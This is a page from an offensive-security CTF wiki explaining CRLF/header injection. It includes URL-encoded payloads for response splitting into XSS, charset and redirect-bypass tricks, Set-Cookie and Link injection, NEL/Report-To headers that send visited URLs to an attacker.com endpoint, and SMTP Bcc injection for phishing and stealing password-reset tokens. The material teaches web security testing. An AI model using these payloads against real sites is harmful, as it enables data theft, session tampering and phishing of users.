🚩
Practical CTF
BlogContact
  • 🚩Home - Practical CTF
  • 🌐Web
    • Enumeration
      • Finding Hosts & Domains
      • Masscan
      • Nmap
      • OSINT
    • Client-Side
      • Cross-Site Scripting (XSS)
        • HTML Injection
        • Content-Security-Policy (CSP)
      • CSS Injection
      • Cross-Site Request Forgery (CSRF)
      • XS-Leaks
      • Window Popup Tricks
      • CRLF / Header Injection
      • WebSockets
      • Caching
    • Server-Side
      • SQL Injection
      • NoSQL Injection
      • GraphQL
      • XML External Entities (XXE)
      • HTTP Request Smuggling
      • Local File Disclosure
      • Arbitrary File Write
      • Reverse Proxies
    • Frameworks
      • Flask
      • Ruby on Rails
      • NodeJS
      • Bun
      • WordPress
      • Angular
    • Chrome Remote DevTools
    • ImageMagick
  • 🔣Cryptography
    • Encodings
    • Ciphers
    • Custom Ciphers
      • Z3 Solver
    • XOR
    • Asymmetric Encryption
      • RSA
      • Diffie-Hellman
      • PGP / GPG
    • AES
    • Hashing
      • Cracking Hashes
      • Cracking Signatures
    • Pseudo-Random Number Generators (PRNG)
    • Timing Attacks
    • Blockchain
      • Smart Contracts
      • Bitcoin addresses
  • 🔎Forensics
    • Wireshark
    • File Formats
    • Archives
    • Memory Dumps (Volatility)
    • VBA Macros
    • Grep
    • Git
    • File Recovery
  • ⚙️Reverse Engineering
    • Ghidra
    • Angr Solver
    • Reversing C# - .NET / Unity
    • PowerShell
  • 📟Binary Exploitation
    • ir0nstone's Binary Exploitation Notes
    • Reverse Engineering for Pwn
    • PwnTools
    • ret2win
    • ret2libc
    • Shellcode
    • Stack Canaries
    • Return-Oriented Programming (ROP)
      • SigReturn-Oriented Programming (SROP)
      • ret2dlresolve
    • Sandboxes (chroot, seccomp & namespaces)
    • Race Conditions
  • 📲Mobile
    • Setup
    • Reversing APKs
    • Patching APKs
    • HTTP(S) Proxy for Android
    • Android Backup
    • Compiling C for Android
    • iOS
  • 🌎Languages
    • PHP
    • Python
    • JavaScript
      • Prototype Pollution
      • postMessage Exploitation
    • Java
    • C#
    • Assembly
    • Markdown
    • LaTeX
    • JSON
    • YAML
    • CodeQL
    • NASL (Nessus Plugins)
    • Regular Expressions (RegEx)
  • 🤖Networking
    • Modbus - TCP/502
    • Redis/Valkey - TCP/6379
  • 🐧Linux
    • Shells
    • Bash
    • Linux Privilege Escalation
      • Enumeration
      • Networking
      • Command Triggers
      • Command Exploitation
      • Outdated Versions
      • Network File Sharing (NFS)
      • Docker
      • Filesystem Permissions
    • Analyzing Processes
  • 🪟Windows
    • The Hacker Recipes - AD
    • Scanning/Spraying
    • Exploitation
    • Local Enumeration
    • Local Privilege Escalation
    • Windows Authentication
      • Kerberos
      • NTLM
    • Lateral Movement
    • Active Directory Privilege Escalation
    • Persistence
    • Antivirus Evasion
    • Metasploit
    • Alternate Data Streams (ADS)
  • ☁️Cloud
    • Kubernetes
    • Microsoft Azure
  • ❔Other
    • Business Logic Errors
    • Password Managers
    • ANSI Escape Codes
    • WSL Tips
Powered by GitBook
On this page
  • Response Splitting
  • Content Type
  • Charset
  • Redirect with Location:
  • Response Headers
  • Set-Cookie
  • Link
  • NEL (Network Error Logging)
  • SMTP
  1. Web
  2. Client-Side

CRLF / Header Injection

Manipulate HTTP headers in your favor or insert completely new ones with even more control

PreviousWindow Popup TricksNextWebSockets

Last updated 5 hours ago

HTTP is a plaintext protocol that works with Carriage Return (\r) Line Feed (\n) delimited headers. When user input lands in the response headers from an HTTP server, injecting these CRLF characters can result in some client-side attacks abusing headers.

Response Splitting

The first thing you should think about when you are able to inject a newline into a response, is if you can inject two newlines. This signifies the end of headers and start of body for HTTP responses, so you'll suddenly be writing a body. In HTML this means you can write <script> tags or similar things to achieve Cross-Site Scripting (XSS):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 36
Some-Header: [INPUT]

<body>This is the normal body</body>

In place of [INPUT], we will now put two CRLF sequences followed by the HTML body we want to inject.

: x%0D%0A%0D%0A<script>alert(origin)</script>

Exploit
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 36
Some-Header: x

<script>alert(origin)</script>

<body>This is the normal body</body>

Note that the Content-Length: is still limited, it cuts off the response at the new end, but our injected content comes first:

Content Type

If the response isn't HTML but something like JSON instead, you can still overwrite the Content-Type: header with another one. The last one counts!

Payload
HTTP/1.1 200 OK
Content-Type: application/json
Some-Header: x
Content-Type: text/html

<script>alert(origin)</script>

{"some": "json"}

Charset

If your input is filtered/sanitized, you can also abuse the charset of the content type by overwriting it in a header. The UTF-16 charset, for example, has null bytes in between each character:

HTTP/1.1 200 OK
Content-Type: application/json
Some-Header: x
Content-Type: text/html; charset=UTF-16

<�s�c�r�i�p�t�>�a�l�e�r�t�(�o�r�i�g�i�n�)�<�/�s�c�r�i�p�t�>�

{"some": "json"}

Redirect with Location:

One common situation is when your injection point is the value of a Location: header in a 30X redirect. The problem is that the browser will normally just redirect to the given location without rendering the body. This prevents us from directly injecting a <script> tag, for example.

Response
HTTP/1.1 302 Found
Content-Type: text/html
Location: [INPUT]

First of all, an open redirect may be possible if the URL isn't validated strictly. See the following examples:

Location: [INPUT]                   -> http://evil.com
Location: /[INPUT]                  -> //evil.com or /\evil.com
Location: http://example.com[INPUT] -> http://example.com@evil.com
Location: /any/path/[INPUT]         -> ../../dangerous/path

This isn't nearly as impactful as XSS though, but fortunately there are some tricks in both Chrome and Firefox that cause it to ignore the redirect and show the body instead. Chrome is the hardest, but simplest to understand. If the Location: is empty it will be ignored, otherwise it won't.

Chrome
Location: 
Firefox
Location: resource://anything

With the above payloads, you can force the browser to stop redirecting and show the content instead. With the ability to insert newlines in the response you can give it a HTML body with XSS:

Location: 

<svg onload=alert()>
Location: resource://anything

<svg onload=alert()>

Firefox XSS without CRLF

If you have the same injection point in a response both in the Location: and in the body, where you can escape the body for XSS with special characters, you can use the resource:// prefix to ignore the redirect. After ? special characters are allowed:

HTTP/1.1 302 Found
Location: [INPUT]
Content-Type: text/html

<html>Object moved to <a href="[INPUT]">here</a></html>

Payload: resource://test?"><img src onerror=alert()>

Exploit
HTTP/1.1 302 Found
Location: resource://test?"><img src onerror=alert()>
Content-Type: text/html

<html>Object moved to <a href="resource://test?"><img src onerror=alert()>">here</a></html>

If this protocol isn't allowed in your situation, try appending a correct https:// URL after it to see if it performs a partial match.

Response Headers

If response splitting isn't an option for whatever reason, you may still get interesting results out of inject some special headers that the browser understands.

Set-Cookie

You can only set one cookie per header, but this is no problem if you can inject multiple headers. One fact that makes this especially useful is the fact that it works on redirects:

HTTP/1.1 302 Found
Location: /somewhere
Set-Cookie: xss=<script>alert(origin)</script>

Link

The following table shows which rel types are recognized. Note that not all of them actually do something, or work in the header instead of a <link> tag:

This header adds the link URL as a stylesheet to the returned page, allowing CSS Injection. The syntax is as follows:

Link: <https://attacker.com>;rel=stylesheet

NEL (Network Error Logging)

This is all configured using response headers, and once registered, will keep being active for quite a while (not only a single request). First, you need to define an endpoint to report to:

Report-To:
{
  "group": "leak",
  "max_age": 600,
  "include_subdomains": true,
  "endpoints": [
    {
      "url": "https://attacker.com/report"
    }
  ]
}

Then, configure logging 100% of the error and 100% of the successful requests that created endpoint:

NEL:
{
  "report_to": "leak",
  "include_subdomains": true,
  "success_fraction": 1,
  "failure_fraction": 1,
  "max_age": 600
}

Together, the headers you inject should look something like this:

Report-To: {"group":"leak","max_age":600,"include_subdomains":true,"endpoints":[{"url":"https://attacker.com/report"}]}
NEL: {"report_to":"leak","include_subdomains":true,"success_fraction":1,"failure_fraction":1,"max_age":600}

You can also use the --short-reporting-delay startup flag in Chrome while testing to make the minute-delay shorter and receive reports instantly.

SMTP

Just like HTTP, SMTP for sending emails is also a CRLF-delimited plaintext protocol with headers. These emails are often sent by applications automatically with information to you like a password reset or notifications. Such emails are often sensitive and if an attacker-controlled input can mess with the request it can get leaked, or malicious content can be injected.

A typical SMTP request looks like this:

EHLO
MAIL FROM:sender@example.com
RCPT TO:recipient@example.com
DATA
From: sender@example.com
To: recipient@example.com
Subject: some subject

Content...
.

A common place to inject is the RCPT TO: SMTP header as this is where the email is sent to. By injecting CRLF characters, new headers like RCPT TO:attacker@example.com to receive a copy of the email in your inbox (very dangerous for secrets like password reset tokens!). More commonly you will also see an injection into the DATA section where headers like Bcc can be added to send a copy to yourself or add content to the email for an indistinguishable phishing attack. A common place is the Subject or From/To headers:

From: sender@example.com
To: recipient@example.com
Subject: a
Bcc: attacker@example.com

<h1>Phishing!</h1>
Content...

: x%0D%0AContent-Type:%20text/html%0D%0A%0D%0A%3Cscript%3Ealert(origin)%3C/script%3E

More tricks for [INPUT] inside the existing Content-Type header itself can be found in . It contains a trick to escape the HTML context if your payload in the body is limited.

: x%0D%0AContent-Type:%20text/html;%20charset=UTF-16%0D%0A%0D%0A%3C%00s%00c%00r%00i%00p%00t%00%3E%00a%00l%00e%00r%00t%00(%00o%00r%00i%00g%00i%00n%00)%00%3C%00/%00s%00c%00r%00i%00p%00t%00%3E%00

explain that on Firefox there is a more interesting trick, using the resource:// protocol:

Chrome : %0D%0A%0D%0A%3Csvg%20onload=alert()%3E

Firefox : resource://anything%0D%0A%0D%0A%3Csvg%20onload=alert()%3E

One of the simplest is just setting a cookie in the response with the Set-Cookie: header. This has the same impact as , but if you're targeting the same host would also allow setting __Host- prefixed cookies.

The header is a special one that has many different features. In the header value you provide a link in between angle brackets (<>), followed by attributes like rel= that specify what it's used for. Using a comma (,) it's possible to provide multiple link rules in one header.

Only Firefox understands stylesheets through a header, it will be ignored in Chrome. in a partial Link: header injection that reflected the URL, to style the 404 page arbitrarily. It also shows that the first rel= attribute takes priority.

with referrerpolicy="unsafe-url"

Due to what's arguably a chrome bug, injecting a header in a subresource request, even a cross-site one, you can leak the current URL in the Referer:. Check out .

is a part of the , responsible for sending reports about certain things happening in your browser. These reports can be sent externally, for example to a server you control. One of the most useful for attackers is NEL which will log URLs that gave error status codes. Using the success_fraction parameter it's also possible to leak successful URLs. include_subdomains allows leaking URLs upon DNS failures of domains under the one it was set on.

From now on, the next 600 seconds (10 minutes) all top-level requests to the domain that these response headers were set on will be sent to . Requests will be batched and sent every minute, and debugging this can be annoying. There are some tips in the article below to get DevTools to show you which requests are queued:

Tip: while testing, make sure the host and reporting endpoint use https://, and Cloudflare is not overwriting it with its own cf-nel. Set up a working receiving server using .

Subject : a%0D%0ABcc:%20attacker@example.com%0D%0A%0D%0A%3Ch1%3EPhishing!%3C/h1%3E

🌐
Payload
Payload
this writeup
Payload
Some
writeups
Payload
Payload
Link:
rel="stylesheet"
I found this once in the real world
rel="preload"
Network Error Logging
Reporting API
https://attacker.com/report
interactsh-client -v
Payload
Cookie Tossing
HTML attribute: rel - HTML: HyperText Markup Language | MDNMDN Web Docs
List of all rel= attributes and their meaning
Monitor your web application with the Reporting API  |  Capabilities  |  Chrome for DevelopersChrome for Developers
Explanation of the Reporting API and some debugging tips
Link response header with preload
Example in browser showing injected content and partially original content
Logo
Logo